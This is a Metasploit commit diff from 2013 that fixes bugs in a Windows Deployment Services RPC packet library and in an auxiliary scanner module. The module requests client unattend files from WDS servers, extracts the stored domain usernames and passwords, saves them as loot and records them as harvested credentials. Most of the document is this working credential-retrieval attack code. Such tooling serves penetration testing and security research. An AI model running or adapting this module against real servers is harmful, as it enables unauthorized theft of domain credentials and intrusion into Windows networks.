Skip to content

Commit

Permalink
Land #2511, fix up NoMethodError and hanging connx
Browse files Browse the repository at this point in the history
  • Loading branch information
Tod Beardsley committed Oct 14, 2013
2 parents 31dc7c0 + a3af5d6 commit 14be85e
Show file tree
Hide file tree
Showing 2 changed files with 82 additions and 63 deletions.
20 changes: 15 additions & 5 deletions lib/rex/proto/dcerpc/wdscp/packet.rb
Expand Up @@ -19,11 +19,19 @@ def initialize(packet_type, opcode)

def add_var(name, type_mod=0, value_length=nil, array_size=0, value)
padding = 0
value_type = WDS_CONST::BASE_TYPE[WDS_CONST::VAR_TYPE_LOOKUP[name]]
vt = WDS_CONST::VAR_TYPE_LOOKUP[name]
value_type = WDS_CONST::BASE_TYPE[vt]
name = Rex::Text.to_unicode(name).unpack('H*')[0]

value_length ||= value.length
# Terminate strings with null char
if vt == :STRING
value << "\x00"
elsif vt == :WSTRING
value = Rex::Text.to_unicode(value)
value << "\x00\x00"
end

value_length ||= value.length
# Variable block total size should be evenly divisible by 16.
len = 16 * (1 + (value_length/16))
@variables <<
Expand Down Expand Up @@ -51,7 +59,7 @@ def create

# These bytes are not part of the spec but are not part of DCERPC according to Wireshark
# Perhaps something from MSRPC specific? Basically length of the WDSCP packet twice...
packet << Rex::Text.pack_int64le(packet_size+40)*2
packet << [(packet_size+40)].pack('V') * 2
packet << create_endpoint_header(packet_size)
packet << create_operation_header(packet_size, var_count, @packet_type, @opcode)
packet.concat(@variables)
Expand All @@ -60,7 +68,8 @@ def create
end

def create_operation_header(packet_size, var_count, packet_type=:REQUEST, opcode)
return [ packet_size, # PacketSize
return [
packet_size, # PacketSize
256, # Version
packet_type, # Packet_Type
0, # Padding
Expand All @@ -70,7 +79,8 @@ def create_operation_header(packet_size, var_count, packet_type=:REQUEST, opcode
end

def create_endpoint_header(packet_size)
return [ 40, # Header_Size
return [
40, # Header_Size
256, # Version
packet_size, # Packet_Size - This doesn't differ from operation header despite the spec...
WDS_CONST::OS_DEPLOYMENT_GUID, # GUID
Expand Down
125 changes: 67 additions & 58 deletions modules/auxiliary/scanner/dcerpc/windows_deployment_services.rb
Expand Up @@ -20,19 +20,18 @@ class Metasploit3 < Msf::Auxiliary
DCERPCClient = Rex::Proto::DCERPC::Client
DCERPCResponse = Rex::Proto::DCERPC::Response
DCERPCUUID = Rex::Proto::DCERPC::UUID
WDS_CONST = Rex::Proto::DCERPC::WDSCP::Constants
WDS_CONST = Rex::Proto::DCERPC::WDSCP::Constants

def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft Windows Deployment Services Unattend Retrieval',
'Description' => %q{
This module retrieves the client unattend file from Windows
Deployment Services RPC service and parses out the stored credentials.
Tested against Windows 2008 R2, 64-bit.
This module retrieves the client unattend file from Windows
Deployment Services RPC service and parses out the stored credentials.
Tested against Windows 2008 R2 x64 and Windows 2003 x86.
},
'Author' => [ 'Ben Campbell <eat_meatballs[at]hotmail.co.uk>' ],
'License' => MSF_LICENSE,
'Version' => '',
'References' =>
[
[ 'MSDN', 'http://msdn.microsoft.com/en-us/library/dd891255(prot.20).aspx'],
Expand All @@ -54,23 +53,27 @@ def initialize(info = {})
end

def run_host(ip)
begin
query_host(ip)
rescue ::Interrupt
raise $!
rescue ::Exception => e
print_error("#{ip}:#{rport} error: #{e}")
end
begin
query_host(ip)
rescue ::Interrupt
raise $!
rescue ::Rex::ConnectionError => e
print_error("#{ip}:#{rport} Connection Error: #{e}")
ensure
# Ensure socket is pulled down afterwards
self.dcerpc.socket.close rescue nil
self.dcerpc = nil
self.handle = nil
end
end

def query_host(rhost)
# Create a handler with our UUID and Transfer Syntax

self.handle = Rex::Proto::DCERPC::Handle.new(
[
WDS_CONST::WDSCP_RPC_UUID,
'1.0',
'71710533-beba-4937-8319-b5dbef9ccc36',
1
],
'ncacn_ip_tcp',
rhost,
Expand All @@ -80,14 +83,14 @@ def query_host(rhost)
print_status("Binding to #{handle} ...")

self.dcerpc = Rex::Proto::DCERPC::Client.new(self.handle, self.sock)
print_good("Bound to #{handle}")
vprint_good("Bound to #{handle}")

report_service(
:host => rhost,
:port => datastore['RPORT'],
:proto => 'tcp',
:name => "dcerpc",
:info => "#{WDS_CONST::WDSCP_RPC_UUID} v1.0 Windows Deployment Services"
:host => rhost,
:port => datastore['RPORT'],
:proto => 'tcp',
:name => "dcerpc",
:info => "#{WDS_CONST::WDSCP_RPC_UUID} v1.0 Windows Deployment Services"
)

table = Rex::Ui::Text::Table.new({
Expand All @@ -109,7 +112,7 @@ def query_host(rhost)
rescue ::Rex::Proto::DCERPC::Exceptions::Fault => e
vprint_error(e.to_s)
print_error("#{rhost} DCERPC Fault - Windows Deployment Services is present but not configured. Perhaps an SCCM installation.")
return
return nil
end

unless result.nil?
Expand All @@ -118,7 +121,7 @@ def query_host(rhost)

results.each do |result|
unless result.empty?
unless result['username'].nil? || result['password'].nil?
if result['username'] and result['password']
print_good("Retrived #{result['type']} credentials for #{architecture[0]}")
creds_found = true
domain = ""
Expand All @@ -143,31 +146,32 @@ def query_host(rhost)
def request_client_unattend(architecture)
# Construct WDS Control Protocol Message
packet = Rex::Proto::DCERPC::WDSCP::Packet.new(:REQUEST, :GET_CLIENT_UNATTEND)
packet.add_var( WDS_CONST::VAR_NAME_ARCHITECTURE, [architecture[1]].pack('C'))
packet.add_var( WDS_CONST::VAR_NAME_CLIENT_GUID,
"\x35\x00\x36\x00\x34\x00\x44\x00\x41\x00\x36\x00\x31\x00\x44\x00"\
"\x32\x00\x41\x00\x45\x00\x31\x00\x41\x00\x41\x00\x42\x00\x32\x00"\
"\x38\x00\x36\x00\x34\x00\x46\x00\x34\x00\x34\x00\x46\x00\x32\x00"\
"\x38\x00\x32\x00\x46\x00\x30\x00\x34\x00\x33\x00\x34\x00\x30\x00"\
"\x00\x00")
packet.add_var( WDS_CONST::VAR_NAME_CLIENT_MAC,
"\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00"\
"\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00"\
"\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x35\x00\x30\x00"\
"\x35\x00\x36\x00\x33\x00\x35\x00\x31\x00\x41\x00\x37\x00\x35\x00"\
"\x00\x00")
packet.add_var( WDS_CONST::VAR_NAME_VERSION,"\x00\x00\x00\x01\x00\x00\x00\x00")

guid = Rex::Text.rand_text_hex(32)
packet.add_var( WDS_CONST::VAR_NAME_CLIENT_GUID, guid)

# Not sure what this padding is for...
mac = [0x30].pack('C') * 20
mac << Rex::Text.rand_text_hex(12)
packet.add_var( WDS_CONST::VAR_NAME_CLIENT_MAC, mac)

arch = [architecture[1]].pack('C')
packet.add_var( WDS_CONST::VAR_NAME_ARCHITECTURE, arch)

version = [1].pack('V')
packet.add_var( WDS_CONST::VAR_NAME_VERSION, version)

wdsc_packet = packet.create

print_status("Sending #{architecture[0]} Client Unattend request ...")
vprint_status("Sending #{architecture[0]} Client Unattend request ...")
response = dcerpc.call(0, wdsc_packet)

if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
vprint_status('Received response ...')
data = dcerpc.last_response.stub_data

# Check WDSC_Operation_Header OpCode-ErrorCode is success 0x000000
op_error_code = data.unpack('i*')[18]
op_error_code = data.unpack('v*')[19]
if op_error_code == 0
if data.length < 277
vprint_error("No Unattend received for #{architecture[0]} architecture")
Expand All @@ -185,37 +189,42 @@ def request_client_unattend(architecture)

def extract_unattend(data)
start = data.index('<?xml')
finish = data.index('</unattend>')+10
return data[start..finish]
finish = data.index('</unattend>')
if start and finish
finish += 10
return data[start..finish]
else
print_error("Incomplete transmission or malformed unattend file.")
return nil
end
end

def parse_client_unattend(data)
begin
xml = REXML::Document.new(data)

rescue REXML::ParseException => e
print_error("Invalid XML format")
vprint_line(e.message)
end

return Rex::Parser::Unattend.parse(xml).flatten
return Rex::Parser::Unattend.parse(xml).flatten
rescue REXML::ParseException => e
print_error("Invalid XML format")
vprint_line(e.message)
return nil
end
end

def loot_unattend(archi, data)
return if data.empty?
p = store_loot('windows.unattend.raw', 'text/plain', rhost, data, archi, "Windows Deployment Services")
print_status("Raw version of #{archi} saved as: #{p}")
return if data.empty?
p = store_loot('windows.unattend.raw', 'text/plain', rhost, data, archi, "Windows Deployment Services")
print_status("Raw version of #{archi} saved as: #{p}")
end

def report_creds(domain, user, pass)
report_auth_info(
:host => rhost,
:port => 4050,
:sname => 'dcerpc',
:proto => 'tcp',
:source_id => nil,
:source_type => "aux",
:user => "#{domain}\\#{user}",
:pass => pass)
:host => rhost,
:port => 4050,
:sname => 'dcerpc',
:proto => 'tcp',
:source_id => nil,
:source_type => "aux",
:user => "#{domain}\\#{user}",
:pass => pass)
end
end

0 comments on commit 14be85e

Please sign in to comment.